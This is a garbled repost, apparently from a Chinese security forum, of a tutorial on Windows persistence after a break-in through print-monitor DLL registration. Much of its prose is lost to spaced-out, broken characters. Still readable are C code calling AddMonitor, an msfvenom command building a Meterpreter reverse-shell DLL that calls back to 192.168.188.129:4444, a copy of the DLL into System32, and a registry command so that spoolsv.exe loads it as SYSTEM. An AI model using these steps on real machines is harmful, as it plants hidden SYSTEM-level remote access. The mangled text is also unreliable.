[21965] 2021-05-13_一种后渗透阶段权限维持方法

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2021-05-13_一种后渗透阶段权限维持方法 L e m o n S e c   2 0 2 1 - 0 5 - 1 3 0 x 0 1   h t t p s : / / g i t h u b . c o m / A l 1 e x / M o n i t o r 0 x 0 2   0 x 0 3   使 使 S t e p 1 使 V S M o n i t o r . c p p 使 M o n i t o r . c p p p N a m e p E n v i r o n m e n t p D L L N a m e D L L S t e p   2 使 M s f v e n o m d l l # i n c l u d e   " W i n d o w s . h " i n t   m a i n ( )   {     M O N I T O R _ I N F O _ 2   m o n i t o r I n f o ;     T C H A R   e n v [ 1 2 ]   =   T E X T ( " W i n d o w s   x 6 4 " ) ;     T C H A R   n a m e [ 1 2 ]   =   T E X T ( " M o n i t o r " ) ;     T C H A R   d l l [ 1 2 ]   =   T E X T ( " t e s t . d l l " ) ;     m o n i t o r I n f o . p N a m e   =   n a m e ;     m o n i t o r I n f o . p E n v i r o n m e n t   =   e n v ;     m o n i t o r I n f o . p D L L N a m e   =   d l l ;     A d d M o n i t o r ( N U L L ,   2 ,   ( L P B Y T E ) & m o n i t o r I n f o ) ; r e t u r n   0 ; } m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 8 8 . 1 2 9   L P O R T = 4 4 4 4   - f   d l l   >   s h e l l . d l l
S t e p   3 s h e l l . d l l s y s t e m 3 2 t e s t . d l l ( P D L L N a m e ) S t e p   4 s y s t e m 3 2 ( M o n i t o r s . e x e s y s t e m 3 2 ) S t e p   5 M e t e r p r e t e r 0 x 0 4   " M o n i t o r s " k e y : t e s t . d l l c o p y   C : t e m p s h e l l . d l l   C : W i n d o w s S y s t e m 3 2 t e s t . d l l M o n i t o r s . e x e H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l P r i n t M o n i t o r s r e g   a d d   " h k l m s y s t e m c u r r e n t c o n t r o l s e t c o n t r o l p r i n t m o n i t o r s P e n t e s t l a b "   / v   " D r i v e r "   / d   " t e s t . d l l "   / t   R E G _ S Z
s p o o l s v . e x e M o n i t o r s W i n d o w s S y s t e m 3 2 D L L M e t e r p r e t e r P r i n t   S p o o l e r ( S Y S T E M ) S y s t e m 3 2
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则